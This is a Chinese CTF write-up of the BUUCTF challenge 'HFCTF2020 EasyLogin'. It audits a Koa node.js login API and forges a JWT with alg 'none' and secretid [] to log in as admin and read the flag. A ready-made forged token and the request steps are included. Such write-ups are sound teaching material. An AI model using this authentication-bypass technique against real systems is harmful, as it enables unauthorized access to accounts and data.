BUUCTF-WEB 【HFCTF2020】EasyLogin 1

考点

代码审计(node.js)

JWT伪造

前置知识

node.js

node.js

koa框架常用目录,文件

app/controllers 项目控制器存放目录:接收请求,处理逻辑

app/dbhelper 数据库CRUD操作的封装

app/models 对应数据库表表结构

config/router.js 项目路由

node_modules app.js 项目入口

JWT

JWT 小知识

JWS:Signed JWT签名过的jwt
JWE:Encrypted JWT部分payload经过加密的jwt

JWT的组成

三个部分(用点分割)
header:主要声明JWT的签名算法
payload:主要承载了各种声明并传递明文数据
signture:拥有该部分的JWT被称为JWS,也就是签了名的JWS;没有该部分的JWT被称为nonsecure JWT,
也就是不安全的JWT,此时header中声明的签名算法为none。

JWT的形式:

1
2
3
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.
TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ

JWT的相关攻击方式

解题过程

审查元素

引入一个 app.js文件

image-20210821113308601

找到一些关键字 koa ,koa是一个基于node.js的web框架。

可以直接通过目录 controllers/api.js 访问到后端源代码,拷贝过来审计。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;

module.exports = {
# 注册功能
'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body;
# 这里判断 如果注册的用户名 为 admin 则不继续执行 返回 wrong username
if(!username || username === 'admin'){
throw new APIError('register error', 'wrong username');
}
# 这里是 什么 大于 10w 重新赋值
if(global.secrets.length > 100000) {
global.secrets = [];
}
# 后边 应该是该加密 加密 该编码编码 该保存保存
const secret = crypto.randomBytes(18).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret)

# 返回一个token 内容就是JWT
const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

ctx.rest({
token: token
});

await next();
},
# 登录功能
'POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body;
# 判断是否提交用户名和密码 没有则停止
if(!username || !password) {
throw new APIError('login error', 'username or password is necessary');
}
# 下面两句不知道
const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

console.log(sid)
# sid不能为 undefined sid 不能为 null sid>=0&&sid< global.secrets.length
if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}

const secret = global.secrets[sid];

const user = jwt.verify(token, secret, {algorithm: 'HS256'});

const status = username === user.username && password === user.password;

if(status) {
ctx.session.username = username;
}

ctx.rest({
status
});

await next();
},

# 获取flag功能
'GET /api/flag': async (ctx, next) => {
# 要求 session中的username 必须为 admin
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}

const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});

await next();
},

'GET /api/logout': async (ctx, next) => {
ctx.session.username = null;
ctx.rest({
status: true
})
await next();
}
};

node.js真的一点基础都没有,不过有语言基础,还是能勉强看得懂一些,跟着大佬的wp再来审计一遍。

解题方式

需要构造一个JWT解码后明文为下面这样的JWT,将加密方式改成none,secretid改成[],接下来需要将明文转换成JWT格式。

1
2
3
4
5
6
7
8
9
10
{
"alg": "none",
"typ": "JWT"
}
{
"secretid": [],
"username": "admin",
"password": "123456",
"iat": 1629515715
}
解题

首先注册一个账号

image-20210821120300967

然后登录这个账号的时候抓包

image-20210821120414091

后边跟了一个名为anthorization的参数,将参数值拿到 这个平台 jwt解码 查看明文。

image-20210821120604965

我们要做的就是将 HEADER 中的 alg加密方式改成 none,然后先将 PAYLOAD中的 secretid 改成[],再将username改成admin,但是这里的HEADER是不能直接修改,就直接给出替换内容 eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0 ,然后手动将PAYLOAD中的secretid改成 [],加密后再将 SIGNATURE部分山刀,. 不删。就像下面这样。

image-20210821121105777

然后将这段密文替换到anthorization 参数中,最后很重要的一个地方,也很容易忘,就是将username改成admin

1
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMyIsImlhdCI6MTYyOTUxODYwMn0.

image-20210821121605545

提交

image-20210821121718315

可见返回true

获取flag

image-20210821121841085

小结

这道题对node.js 和 JWT 都是一窍不通,都是硬着头皮照着大佬wp做了下来,其实之前做过jwt伪造类的题目,但是对JWT的原理并不懂,所以很快就忘掉了,这次算是巩固了一次吧,总之经验需要不断积累,原理需要深入理解。每天两道CTF题,时间就打发了。